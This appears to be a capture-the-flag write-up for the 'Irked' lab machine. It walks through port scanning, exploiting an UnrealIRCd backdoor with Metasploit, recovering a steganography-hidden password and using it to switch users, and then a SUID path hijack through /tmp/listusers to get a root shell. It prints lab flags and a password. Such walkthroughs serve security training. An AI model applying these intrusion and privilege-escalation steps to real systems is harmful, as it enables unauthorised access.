

Irked:



Enumeration:

First let's start a nmap scan

```
STATE SERVICE VERSION
                        OpenSSH 6.7pl Debian 5+deb8u4 (protocol 2.0)
22/tcp
          open ssh
  ssh-hostkey:
    1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
    2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
    256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
    256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
          open http
                       Apache httpd 2.4.10 ((Debian))
  http-server-header: Apache/2.4.10 (Debian)
  http-title: Site doesn't have a title (text/html).
         open rpcbind 2-4 (RPC #100000)
111/tcp
  rpcinfo:
    program version
                      port/proto service
    100000 2,3,4
                         111/tcp
                                 rpcbind
    100000 2,3,4
                         111/udp
                                 rpcbind
    100024
                       36255/tcp
                                 status
    100024 1
                       57180/udp status
                       UnrealIRCd
6697/tcp open irc
8067/tcp open
                        UnrealIRCd
               irc
36255/tcp open
               status
                       1 (RPC #100024)
65534/tcp open irc
                        UnrealIRCd
```

The port 80 show us a picture, and we see there is UnRealIRCd running on the port 6697, 8067, 65534.

A quick research with searchsploit show us there is a Metasploit exploit for UnRealIRCd.

```
root@kali:-# searchsploit unrealircd

Exploit Title | Path (/usr/share/exploitdb/)

UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | exploits/linux/remote/16922.rb

UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | exploits/windows/dos/18011.txt

UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | exploits/windows/dos/27407.pl

UnrealIRCd 3.x - Remote Denial of Service | exploits/windows/dos/27407.pl

Shellcodes: No Result
```

Exploitation:

Start msfconsole, and use the unrealired exploit, you can found it by typing « search unrealired »

Set the RHOSTS ip (10.10.10.117) and set the RPORT (6697)

Then type: exploit

You will be in! Go to '/home/djmardov/Documents/'

When you try to read the user.txt you got a permission denied!

```
ircd@irked:/home/djmardov/Documents$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
```

Typing 'ls -la' show us ther is a '.backup' file

```
ircd@irked:/home/djmardov/Documents$ ls -la
ls -la
total 16
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 04:40 ..
-rw-r--r- 1 djmardov djmardov 52 May 16 2018 .backup
-rw----- 1 djmardov djmardov 33 May 15 2018 user.txt
```

Read the .backup file

```
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
```

It said « Super elite steg backup pw » with a password, so its steganography, maybe on the picture found on the port 80, back top the web and browse http://10.10.10.117/ download the pictures and try to extract the data on it with steghide and the password.

```
root@kali:~/Téléchargements# steghide extract -sf irked.jpg
Entrez la passphrase:
Ocriture des donnOes extraites dans "pass.txt".
```

It work, we got a pass.txt file, open it, you will see a password



Kab6h+m+bbp2J:HG

Back to your ircd shell, and su as djmardov with that password

```
ircd@irked:/home/djmardov/Documents$ su djmardov
su djmardov
Password: Kab6h+m+bbp2J:HG
djmardov@irked:~/Documents$
```

Take your user.txt flag

```
djmardov@irked:~/Documents$ cat user.txt
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
```

user.txt = 4a66a78b12dc0e661a59d3f5c0267a8e

Privilege Escalation:

List all SUID binary files

```
dov@irked:~/Documents$ find /
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
usr/sbin/pppd
/usr/bin/chsh
usr/bin/procmail
usr/bin/gpasswd
usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
bin/fusermount
bin/ntfs-3q
 bin/umount
```

When you try to execute the '/usr/bin/viewuser' binary, you see an error

'/tmp/listusers' not found, so go to '/tmp/' and make a script who will execute '/bin/bash' and save it as listusers. Then give him the execute permission with 'chmod +x'

```
djmardov@irked:/usr/bin$ cd /tmp
cd /tmp
djmardov@irked:/tmp$ echo '/bin/bash' > listusers
echo '/bin/bash' > listusers
djmardov@irked:/tmp$ chmod +x listusers
chmod +x listusers
```

Beacause the viewuser binary is a SUID binary, that mean any user can execute it with the root permission, he will execute the '/tmp/listusers' script as root, so give us a root shell.

Okey now, let's execute the viewuser binary and got our root shell

Take the root flag

```
root@irked:/usr/bin# cd /root
cd /root
root@irked:/root# cat root.txt
cat root.txt
8d8e9e8be64654b6dccc3bff4522daf3
```